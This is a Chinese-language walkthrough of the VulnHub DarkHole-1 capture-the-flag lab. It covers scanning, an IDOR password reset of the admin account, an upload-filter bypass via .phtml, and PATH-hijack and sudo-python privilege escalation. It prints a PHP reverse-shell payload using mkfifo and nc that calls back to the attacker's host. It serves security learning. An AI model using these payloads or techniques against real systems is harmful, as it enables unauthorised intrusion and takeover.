**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究
靶机信息
下载地址:
https://www.vulnhub.com/entry/darkhole-1,724/
难度: 简单
发布时间: 2021年7月18日
提示信息:
It's a box for beginners, but not easy, Good Luck Hint: Don't waste your time For Brute-Force 这是初学者的盒子,但不容易,祝你好运 提示: 不要浪费你的时间去使用蛮力 *****此靶机请使用VMware虚拟机*****
实验环境
攻击机:VBox kali 192.168.7.3 靶机:VMWare linux IP未知
信息收集
扫描主机
nmap -sP 192.168.7.1/24
扫描端口
nmap -sC -sV -p- 192.168.7.254 -oN DarkHole-1.nmap
这里开放了22(SSH)和80(HTTP)端口,先来访问http服务
Web渗透
只有一个登录链接可以点
这里可以注册,先来注册个帐号登录上去看看
登录进来看到有更新个人资料和修改密码
这里要注意URL这里显示id=2说明之前还有个id=1的用户,极大可能是管理员
http://192.168.7.254/dashboard.php?id=2
并且这个id=2可利用的方法比较多,例如sql注入、越权等等,费话不多说开工
BurpSuite
步骤1.打开burpsuite开始抓包
步骤2.浏览器配置代理,这里用火狐插件FoxyProxy
步骤3.修改帐号信息点更新,这里改了下邮箱地址不改直接提交也可以
步骤4.burpsuite上将抓到的包发送到重发器(Repeater)模块上
步骤5.点开重发器模块,点发送检查返回内容
看到123@1231.com说明已经修改成功了,现在可以测试越权操作了
步骤6.修改URL中的id,修改username然后发送检查返回内容
越权失败,不让我们修改其他用户信息,再测试下修改密码
尝试修改密码并抓包
将包发送到重发器模块,注意post提交的数据里面有id=2,这说明我们不需要修改URL,只需要改post数据就行,刚刚就是因为修改了URL中的id值才会被提示越权操作,看来修改密码有戏
将id改成1,其他不用动,提交后没有报错,越权成功
现在我们成功修改了id=1的密码,但是id=1的用户名是什么,根据经验第1个用户是admin的概率极高,现在来测试下登录
登录成功,虽然没显示是哪个帐号登录的,但是内容有改变,少了修改用户信息,多了1个上传文件,那我们就试试文件上传是否有漏洞
上传一个webshell,但是提示只能上传jpg、png、gif格式
修改下文件扩展名看能不能绕过去
上传成功,看来只是对扩展名检测,我们尝试绕过他,扩展名改了大小写就绕过了
反弹shell
上传成功但是无法访问,看来没这么简单,大小写不解析,那再来试试可以解析的,上传其他可以支持解析的后缀 (如 php2,php3,php5,phtml)
把一句话改成反弹shell然后测试哪个扩展名可以解析
先在kali攻击机上监听4444端口
nc -lvvp 4444
把包改成反弹shell
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.7.3 4444 >/tmp/f');?>
发送过去后再访问URL看能否反弹,几个扩展名测试后只有phtml可以解析
成功拿到webshell,切换到完整的交互shell
python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermCtrl+z
stty -a
stty raw -echo;fgreset
stty rows 28 columns 121
已经切换到交互shell,开始检查权限
sudo -l 没有权限
suid提权
find / -perm -u=s -type f 2>/dev/null
john用户目录下有个toto文件像是可以提权,进去看看
cd /home/johnls -lfile toto
是个二进制文件执行下看看
./toto
执行了id命令,那我们就伪造一个id命令
suid提权
劫持环境变量提权
在/tmp目录下创建id文件echo "/bin/bash">id && chmod +x id查看当前环境变量:echo $PATH把/tmp目录添加到环境变量export PATH=/tmp:$PATH再次查看环境变量是否添加成功echo $PATH执行toto/home/john/toto
成功提权到john再来看看john目录下有什么
cd /home/johnlscat user.txt
拿到用户flag
DarkHole{You_Can_DO_It}
再看看file.py和password是什么
cat file.pyfile passwordcat password
file.py是个空文件,password是个文本内容是root123
测试下sudo权限
sudo -l
提示要密码,随手把刚拿到的root123填进去
root123就是john的密码,可以看到file.py是可以提权的,那就先来修改下file.py
vi file.pyimport osos.system('bin/bash')
开始提权
sudo /usr/bin/python3 /home/john/file.pyidcd /rootlscat root.txt
拿到root权限flag,游戏结束
END
这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.